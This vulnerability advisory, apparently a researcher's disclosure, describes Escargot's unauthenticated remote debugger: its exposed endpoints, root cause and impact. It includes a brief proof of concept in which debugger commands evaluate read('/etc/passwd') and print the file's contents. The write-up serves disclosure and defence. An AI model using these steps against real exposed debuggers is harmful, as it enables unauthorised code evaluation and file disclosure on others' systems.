...[ More ]

An unauthenticated remote debugger vulnerability exists in Escargot
    v4.3.0-214-gfaee4437 when the application is compiled with ESCARGOT_DEBUGGER
    support and the debug server is enabled using --start-debug-server. The
    debugger accepts client connections without authentication or authorization
    and provides access to privileged debugger functionality.
    
    An attacker capable of reaching the debugger interface can establish a
    debugger session and evaluate JavaScript expressions within the target
    runtime. Testing confirmed the vulnerability by executing
    read("/etc/passwd") through the debugger and retrieving the contents of the
    local file.
    
    Technical Details
    
    The vulnerability occurs because Escargot exposes remote debugger
    HTTP/WebSocket endpoints without requiring authentication before
    establishing a debugger session.
    
    The exposed debugger routes include:
    
    /escargot-debugger
    /devtools/page/1
    /json
    /json/list
    /json/version
    
    Requests to the debugger WebSocket endpoints are routed to the WebSocket
    handshake implementation. The handshake performs WebSocket protocol
    negotiation but does not authenticate or authorize the connecting client
    before providing access to debugger functionality.
    
    Once connected, the debugger accepts evaluation commands that execute
    JavaScript expressions within the target Escargot runtime.
    
    The affected functionality is conditionally compiled with:
    
    #ifdef ESCARGOT_DEBUGGER
    
    and enabled at runtime using:
    
    --start-debug-server
    
    Root CauseNo authentication protecting the remote debugger No authorization
    check before debugger access Network connectivity treated as sufficient
    trust Privileged JavaScript evaluation exposed to debugger clients Debugger
    helper functions expose local runtime resources
    
    Impact
    
    Unauthorized Debugger Access:
    An unauthenticated client capable of reaching the debugger can
    establish an interactive debugging session.
    
    Arbitrary JavaScript Evaluation:
    The connected client can submit JavaScript expressions for evaluation
    within the target Escargot runtime.
    
    Local File Disclosure:
    Files accessible through exposed runtime helper functions can be
    retrieved. Testing confirmed disclosure of /etc/passwd.
    
    Runtime State Exposure:
    An attacker may inspect interpreter state and interact with other
    functionality exposed through the debugger.
    
    The PoC demonstrates JavaScript evaluation and local file disclosure. It
    does not, by itself, establish arbitrary operating-system command execution
    or native code execution.
    
    Proof of Concept
    
    Start a debugger-enabled Escargot build with the remote debugger enabled
    and connect using the debugger client.
    
    The following debugger commands were used:
    
    b /tmp/rdf.js:2
    c
    p read("/etc/passwd")
    c
    
    Output
    
    Connecting to: localhost:6516
    Connection created!!!
    
    Stopped at /tmp/rdf.js:1
    
    (escargot-debugger) b /tmp/rdf.js:2
    Breakpoint 1 at /tmp/rdf.js:2
    
    (escargot-debugger) c
    Stopped at breakpoint:1 /tmp/rdf.js:2
    
    (escargot-debugger) p read("/etc/passwd")
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    ...
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
    
    (escargot-debugger) c
    Print: debugger file read probe complete
    Connection closed.
    
    Server-side output confirmed that the debugger was listening and accepted
    the connection:
    
    Waiting for client connection 0.0.0.0:6516
    Connected from: 127.0.0.1
    
    debugger file read probe complete
    
    The returned data matched the contents of /etc/passwd, confirming that the
    debugger accepted an unauthenticated session, evaluated the supplied
    JavaScript expression, and returned local file contents to the debugger
    client.
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>